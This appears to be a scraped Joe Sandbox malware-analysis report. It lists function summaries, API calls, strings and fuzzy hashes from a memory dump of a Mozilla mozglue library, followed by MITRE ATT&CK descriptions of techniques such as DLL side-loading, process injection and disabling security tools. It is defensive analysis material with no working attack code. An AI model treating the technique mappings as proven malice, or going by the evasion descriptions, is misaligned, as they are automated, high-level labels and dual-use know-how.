Associated: 00000000.00000002.2657255300.000000006C9C0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657383736.000000006CA3D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657425864.000000006CA4E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657457277.000000006CA52000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9c0000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfree
String ID:
API String ID: 2047719359-0
Opcode ID: 9198fae5bbde70febec6ff820f4b77a3d44c1dda309ca73912d0a5ff80eb85d0
Instruction ID: 85d030b51e6e4f2c8d72116608b18f21e538e83742aea1b8e19e72fdf844d077
Opcode Fuzzy Hash: 9198fae5bbde70febec6ff820f4b77a3d44c1dda309ca73912d0a5ff80eb85d0
Instruction Fuzzy Hash: D8E0EC31604B155FC3209F25A80858EB7F9EF97318714432AE40683F00D776E94687D5

Function 6CA185B0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 133COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000028,?,?,?), ref: 6CA185D3

Part of subcall function 6C9DCA10: malloc.MOZGLUE(?), ref: 6C9DCA26

?_Xlength_error@std@@YAXPBD@Z.MSVCP140(map/set<T> too long,?,?,?), ref: 6CA18725

Strings

map/set<T> too long, xrefs: 6CA18720

Memory Dump Source

Source File: 00000000.00000002.2657287445.000000006C9C1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C9C0000, based on PE: true

Associated: 00000000.00000002.2657255300.000000006C9C0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657383736.000000006CA3D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657425864.000000006CA4E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657457277.000000006CA52000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9c0000_file.jbxd

Similarity

API ID: Xlength_error@std@@mallocmoz_xmalloc
String ID: map/set<T> too long
API String ID: 3720097785-1285458680
Opcode ID: b9242aab7eb04ce59254bacd60117a09fd0645f3157f6676f2055e691ae1d039
Instruction ID: 962406869c4b23c234e14c3b8a3a9de16725f9424d5d47e3675493fa688374aa
Opcode Fuzzy Hash: b9242aab7eb04ce59254bacd60117a09fd0645f3157f6676f2055e691ae1d039
Instruction Fuzzy Hash: F8517874A08641CFD701CF18C184B95BBF1BF4A318F1AC28AD8695BB52C335E885CF91

Function 6C9CBD40 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 115COMMON

Download Yara Rule

APIs

?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(00000000,?,?,?,?), ref: 6C9CBDEB
?HandleSpecialValues@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@@Z.MOZGLUE ref: 6C9CBE8F

Strings

0, xrefs: 6C9CBE5B

Memory Dump Source

Source File: 00000000.00000002.2657287445.000000006C9C1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C9C0000, based on PE: true

Associated: 00000000.00000002.2657255300.000000006C9C0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657383736.000000006CA3D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657425864.000000006CA4E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657457277.000000006CA52000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9c0000_file.jbxd

Similarity

API ID: String$Builder@2@@Converter@double_conversion@@Double$CreateDecimalHandleRepresentation@SpecialValues@
String ID: 0
API String ID: 2811501404-4108050209
Opcode ID: 649a2cc5c4b478c305aaa4459c867215bf793ef2031368f9476c76faf9726bf2
Instruction ID: 81417cee2bb6bedef32241e62f9647420873311a7c83aa6357152ccdb8da0209
Opcode Fuzzy Hash: 649a2cc5c4b478c305aaa4459c867215bf793ef2031368f9476c76faf9726bf2
Instruction Fuzzy Hash: 6F41B271A09745CFC701CF38C481A9BBBF4AF9A388F008A1DF995A7611D731D9498B93

Function 6CA03CF0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 55COMMON

Download Yara Rule

APIs

_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CA03D19
mozalloc_abort.MOZGLUE(?), ref: 6CA03D6C

Strings

d, xrefs: 6CA03D58

Memory Dump Source

Source File: 00000000.00000002.2657287445.000000006C9C1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C9C0000, based on PE: true

Associated: 00000000.00000002.2657255300.000000006C9C0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657383736.000000006CA3D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657425864.000000006CA4E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657457277.000000006CA52000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9c0000_file.jbxd

Similarity

API ID: _errnomozalloc_abort
String ID: d
API String ID: 3471241338-2564639436
Opcode ID: 18e79b67a6b53882471382e6931b729ff3932bb3bb70c667af70a6ca6012d24b
Instruction ID: 06286c7dab9802e0131c20733697a3f4b1e83910399e710eddc2a7a8207633cd
Opcode Fuzzy Hash: 18e79b67a6b53882471382e6931b729ff3932bb3bb70c667af70a6ca6012d24b
Instruction Fuzzy Hash: 4811EF31F04789DBDB049FA9EC148EDB775EF9625CB48C618DC899B602EB70A5C9C390

Function 6C9D4730 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 49libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000,?,?,?,?,6C9D44B2,6CA4E21C,6CA4F7F8), ref: 6C9D473E
GetProcAddress.KERNEL32(00000000,GetNtLoaderAPI), ref: 6C9D474A

Strings

GetNtLoaderAPI, xrefs: 6C9D4744

Memory Dump Source

Source File: 00000000.00000002.2657287445.000000006C9C1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C9C0000, based on PE: true

Associated: 00000000.00000002.2657255300.000000006C9C0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657383736.000000006CA3D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657425864.000000006CA4E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657457277.000000006CA52000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9c0000_file.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: GetNtLoaderAPI
API String ID: 1646373207-1628273567
Opcode ID: 05446c4e732168f106399e9f5d5b28a511a412f2b95593b107d73856b38518fc
Instruction ID: 1f2505662c185b14318c49afe39ea2d1d3fe14947016631daa2c18601b2542e1
Opcode Fuzzy Hash: 05446c4e732168f106399e9f5d5b28a511a412f2b95593b107d73856b38518fc
Instruction Fuzzy Hash: 300192757007158FDF08AF698858A2D7BB9EB8B719B05C069E905DB300DB75E8028F91

Function 6CA26DE0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 30COMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_DISABLE_WALKTHESTACK), ref: 6CA26E22
__Init_thread_footer.LIBCMT ref: 6CA26E3F

Strings

MOZ_DISABLE_WALKTHESTACK, xrefs: 6CA26E1D

Memory Dump Source

Source File: 00000000.00000002.2657287445.000000006C9C1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C9C0000, based on PE: true

Associated: 00000000.00000002.2657255300.000000006C9C0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657383736.000000006CA3D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657425864.000000006CA4E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657457277.000000006CA52000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9c0000_file.jbxd

Similarity

API ID: Init_thread_footergetenv
String ID: MOZ_DISABLE_WALKTHESTACK
API String ID: 1472356752-1153589363
Opcode ID: efe34dc119d4e2b4d19cc778df9276aaa8d4450a97a6dfa03b5e397ffdd48b6f
Instruction ID: dd200e373c2396cfa014c4aebc3f6f6f3b673bebc7d04fed3415d8c817ce5874
Opcode Fuzzy Hash: efe34dc119d4e2b4d19cc778df9276aaa8d4450a97a6dfa03b5e397ffdd48b6f
Instruction Fuzzy Hash: EDF024352063C2CFDB04ABA8CC50AD2B372A32321DF0CD169CC1446F51D726A597CAA3

Function 6C9D9E70 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 27COMMON

Download Yara Rule

APIs

__Init_thread_footer.LIBCMT ref: 6C9D9EEF

Strings

Infinity, xrefs: 6C9D9EB7
NaN, xrefs: 6C9D9EC1

Memory Dump Source

Source File: 00000000.00000002.2657287445.000000006C9C1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C9C0000, based on PE: true

Associated: 00000000.00000002.2657255300.000000006C9C0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657383736.000000006CA3D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657425864.000000006CA4E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657457277.000000006CA52000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9c0000_file.jbxd

Similarity

API ID: Init_thread_footer
String ID: Infinity$NaN
API String ID: 1385522511-4285296124
Opcode ID: 983362561e1efc54ea59e9e8bcfe06a1b1335950e3fc578bcaf157bcc52055d3
Instruction ID: fedc3cf2b21fd6060b3c7bab20ce497839a9d456153fd352c96daf5265d83441
Opcode Fuzzy Hash: 983362561e1efc54ea59e9e8bcfe06a1b1335950e3fc578bcaf157bcc52055d3
Instruction Fuzzy Hash: 16F08C71600743CEDB04AF58DD557913371B31331DF21EA5DC9040AA40DB36A5978BA2

Function 6C9DBED0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 15librarythreadCOMMON

Download Yara Rule

APIs

DisableThreadLibraryCalls.KERNEL32(?), ref: 6C9DBEE3
LoadLibraryExW.KERNEL32(cryptbase.dll,00000000,00000800), ref: 6C9DBEF5

Strings

cryptbase.dll, xrefs: 6C9DBEF0

Memory Dump Source

Source File: 00000000.00000002.2657287445.000000006C9C1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C9C0000, based on PE: true

Associated: 00000000.00000002.2657255300.000000006C9C0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657383736.000000006CA3D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657425864.000000006CA4E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657457277.000000006CA52000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9c0000_file.jbxd

Similarity

API ID: Library$CallsDisableLoadThread
String ID: cryptbase.dll
API String ID: 4137859361-1262567842
Opcode ID: 180179e347b339636d76f52f88276eee52323a361bfd1ffd2be94f17b980de1c
Instruction ID: 3eee17bc781f77860c67bf6ac0b7da5125c169475a25c77ad82cc541dbea0608
Opcode Fuzzy Hash: 180179e347b339636d76f52f88276eee52323a361bfd1ffd2be94f17b980de1c
Instruction Fuzzy Hash: 84D0A731184A09EAC704BA509C07F193778A701319F10C020F30554851C7B1E451CBA0

Function 6C9C50E0 Relevance: 5.2, APIs: 4, Instructions: 213COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(036477E8,?,?,?,?,?,?,?,6C9C4E9C,?,?,?,?,?), ref: 6C9C510A
memcpy.VCRUNTIME140(036477E8,?,?,?,?,?,?,?,6C9C4E9C,?,?,?,?,?), ref: 6C9C5167
memcpy.VCRUNTIME140(036477E8,?,?,?,?,?), ref: 6C9C5196
memcpy.VCRUNTIME140(036477E8,?,?,?,?,?,?,?,6C9C4E9C), ref: 6C9C5234

Memory Dump Source

Source File: 00000000.00000002.2657287445.000000006C9C1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C9C0000, based on PE: true

Associated: 00000000.00000002.2657255300.000000006C9C0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657383736.000000006CA3D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657425864.000000006CA4E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657457277.000000006CA52000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9c0000_file.jbxd

Similarity

API ID: memcpy
String ID:
API String ID: 3510742995-0
Opcode ID: 933be0c35787ef1d59b8af2b73a0f28f4363cc6c90fe8bc4464883a815d3fd0d
Instruction ID: 26b1e1821e8d63baa86fe2ce580370028567713683d0203cf1acbdc08afe75df
Opcode Fuzzy Hash: 933be0c35787ef1d59b8af2b73a0f28f4363cc6c90fe8bc4464883a815d3fd0d
Instruction Fuzzy Hash: 5891B035605656CFCB14CF08C890A56BBA5FF99318B28868CDC589B715D331FD82CBE2

Function 6CA008F0 Relevance: 5.2, APIs: 4, Instructions: 165COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6CA4E7DC), ref: 6CA00918
LeaveCriticalSection.KERNEL32(6CA4E7DC), ref: 6CA009A6
EnterCriticalSection.KERNEL32(6CA4E7DC,?,00000000), ref: 6CA009F3
LeaveCriticalSection.KERNEL32(6CA4E7DC), ref: 6CA00ACB

Memory Dump Source

Source File: 00000000.00000002.2657287445.000000006C9C1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C9C0000, based on PE: true

Associated: 00000000.00000002.2657255300.000000006C9C0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657383736.000000006CA3D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657425864.000000006CA4E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657457277.000000006CA52000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9c0000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave
String ID:
API String ID: 3168844106-0
Opcode ID: ea7a9f5eb4ee5c8ca0b80a466c2f546a3bcf4dd0df940a0159e5fd60cf09918d
Instruction ID: 6d6a2d33bfc9804b7f51f6fb1565e8ba5a9b8d2cd23763d21235edbc6e401d4f
Opcode Fuzzy Hash: ea7a9f5eb4ee5c8ca0b80a466c2f546a3bcf4dd0df940a0159e5fd60cf09918d
Instruction Fuzzy Hash: 1E515C32701A55CFEB08EF58E405A6673B1EB82BBC729C139C96597F80C731E88287D0

Function 6CA1B5C0 Relevance: 5.1, APIs: 4, Instructions: 145COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,6CA1B2C9,?,?,?,6CA1B127,?,?,?,?,?,?,?,?,?,6CA1AE52), ref: 6CA1B628

Part of subcall function 6CA190E0: free.MOZGLUE(?,00000000,?,?,6CA1DEDB), ref: 6CA190FF
Part of subcall function 6CA190E0: free.MOZGLUE(?,00000000,?,?,6CA1DEDB), ref: 6CA19108

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,6CA1B2C9,?,?,?,6CA1B127,?,?,?,?,?,?,?,?,?,6CA1AE52), ref: 6CA1B67D
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,6CA1B2C9,?,?,?,6CA1B127,?,?,?,?,?,?,?,?,?,6CA1AE52), ref: 6CA1B708
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,?,?,6CA1B127,?,?,?,?,?,?,?,?), ref: 6CA1B74D

Memory Dump Source

Source File: 00000000.00000002.2657287445.000000006C9C1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C9C0000, based on PE: true

Associated: 00000000.00000002.2657255300.000000006C9C0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657383736.000000006CA3D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657425864.000000006CA4E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657457277.000000006CA52000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9c0000_file.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: 7aa8f601e742dce590b5aae7d3a541d7398cec8571ddd87888db52f0932330d8
Instruction ID: 5814cdeb2b5d10a0e12d7f04cd36b136d8bd56808deeeef005db68daa5d8df39
Opcode Fuzzy Hash: 7aa8f601e742dce590b5aae7d3a541d7398cec8571ddd87888db52f0932330d8
Instruction Fuzzy Hash: 3151D4B1A0A3168FDB14CF18D98079EB7B5FF85304F05862DC85AABB10D731A884CB91

Function 6CA1DF90 Relevance: 5.1, APIs: 4, Instructions: 136COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001,?,6CA0FF2A), ref: 6CA1DFFD

Part of subcall function 6CA190E0: free.MOZGLUE(?,00000000,?,?,6CA1DEDB), ref: 6CA190FF
Part of subcall function 6CA190E0: free.MOZGLUE(?,00000000,?,?,6CA1DEDB), ref: 6CA19108

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,6CA0FF2A), ref: 6CA1E04A
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,6CA0FF2A), ref: 6CA1E0C0
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,6CA0FF2A), ref: 6CA1E0FE

Memory Dump Source

Source File: 00000000.00000002.2657287445.000000006C9C1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C9C0000, based on PE: true

Associated: 00000000.00000002.2657255300.000000006C9C0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657383736.000000006CA3D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657425864.000000006CA4E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657457277.000000006CA52000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9c0000_file.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: 7cb36563dcb73849b74618730bbc790832c998a9fd9488abe52e5405f1b6b5f2
Instruction ID: be3e6e5cd89bbd84dc531caffd8dbee41d1d0f346fced3bfbc63d75c1d62495b
Opcode Fuzzy Hash: 7cb36563dcb73849b74618730bbc790832c998a9fd9488abe52e5405f1b6b5f2
Instruction Fuzzy Hash: 8541D2B16482068FEB14CF68D88435A73B2BB85308F194939D516DBF40E772E985CB92

Function 6CA16E50 Relevance: 5.1, APIs: 4, Instructions: 106COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000018), ref: 6CA16EAB
memcpy.VCRUNTIME140(00000000,00000018,-000000A0), ref: 6CA16EFA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001), ref: 6CA16F1E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CA16F5C

Memory Dump Source

Source File: 00000000.00000002.2657287445.000000006C9C1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C9C0000, based on PE: true

Associated: 00000000.00000002.2657255300.000000006C9C0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657383736.000000006CA3D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657425864.000000006CA4E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657457277.000000006CA52000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9c0000_file.jbxd

Similarity

API ID: malloc$freememcpy
String ID:
API String ID: 4259248891-0
Opcode ID: 5d2a0cb154f9476013a1a00a93caf80bc832af50e311daaa0c1f296a20f32e02
Instruction ID: f7a53b0fcc21463b97d92cb907012e9d9ceef34a4122694666941af30d7a9295
Opcode Fuzzy Hash: 5d2a0cb154f9476013a1a00a93caf80bc832af50e311daaa0c1f296a20f32e02
Instruction Fuzzy Hash: 4F31E571A1460A8FDB04CF2CC9806AA73F9EBC4308F548239D41AC7B51EB32E699C790

Function 6CA2B580 Relevance: 5.1, APIs: 4, Instructions: 102COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,6C9D0A4D), ref: 6CA2B5EA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000020,?,6C9D0A4D), ref: 6CA2B623
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,?,6C9D0A4D), ref: 6CA2B66C
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000002,?,?,6C9D0A4D), ref: 6CA2B67F

Memory Dump Source

Source File: 00000000.00000002.2657287445.000000006C9C1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C9C0000, based on PE: true

Associated: 00000000.00000002.2657255300.000000006C9C0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657383736.000000006CA3D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657425864.000000006CA4E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657457277.000000006CA52000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9c0000_file.jbxd

Similarity

API ID: malloc$free
String ID:
API String ID: 1480856625-0
Opcode ID: be423ab4d45cd2e7d1a525a5931e3dae6dacaf6e29d21a5f172cc13dc125c135
Instruction ID: 445010145cf3f7a019545624cca946cee425331548f96c82d91da0a07a87e533
Opcode Fuzzy Hash: be423ab4d45cd2e7d1a525a5931e3dae6dacaf6e29d21a5f172cc13dc125c135
Instruction Fuzzy Hash: 3B31F671A002268FDB10DF59D944A9AB7B5FF80309F1EC629C81B9B201DB76E955CBA0

Function 6C9FF5A0 Relevance: 5.1, APIs: 4, Instructions: 88COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00010000), ref: 6C9FF611
memcpy.VCRUNTIME140(?,?,?), ref: 6C9FF623
memcpy.VCRUNTIME140(?,?,00010000), ref: 6C9FF652
memcpy.VCRUNTIME140(?,?,?), ref: 6C9FF668

Memory Dump Source

Source File: 00000000.00000002.2657287445.000000006C9C1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C9C0000, based on PE: true

Associated: 00000000.00000002.2657255300.000000006C9C0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657383736.000000006CA3D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657425864.000000006CA4E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657457277.000000006CA52000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9c0000_file.jbxd

Similarity

API ID: memcpy
String ID:
API String ID: 3510742995-0
Opcode ID: cd72a4b24c16f126375525e6a79600fc7eb806012afa7aeaa1976f5403f08771
Instruction ID: 577c1c179bce3b3d1ad8f4ebce055af2a9fa126121ae32da078e8abcba1e48fa
Opcode Fuzzy Hash: cd72a4b24c16f126375525e6a79600fc7eb806012afa7aeaa1976f5403f08771
Instruction Fuzzy Hash: 57314171A006249FC714CF6DCDC0AAFB7F9EB84358B148539FA598BB04D631E985CB90

Function 6CA126B0 Relevance: 5.0, APIs: 4, Instructions: 45COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CA126C1
free.MOZGLUE(?), ref: 6CA126E4
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CA126FF
free.MOZGLUE ref: 6CA1270D

Memory Dump Source

Source File: 00000000.00000002.2657287445.000000006C9C1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C9C0000, based on PE: true

Associated: 00000000.00000002.2657255300.000000006C9C0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657383736.000000006CA3D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657425864.000000006CA4E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657457277.000000006CA52000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9c0000_file.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: 610d52aaa128a069c522b3b4bb519cada709be96097b19751c1169c9232ffc08
Instruction ID: 6c38f70508c06306a5675577377f9da794e910673da0bd56c9154be91b1564ed
Opcode Fuzzy Hash: 610d52aaa128a069c522b3b4bb519cada709be96097b19751c1169c9232ffc08
Instruction Fuzzy Hash: 89F02DB27052016BF7109E18D88499B73ADEF6635CB184135EA1AC3F01E332F959C791

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject malicious code into process via Extra Window Memory (EWM) in order to evade process-based defenses as well as possibly elevate privileges. EWM injection is a method of executing arbitrary code in the address space of a separate live process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Process: OS API Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

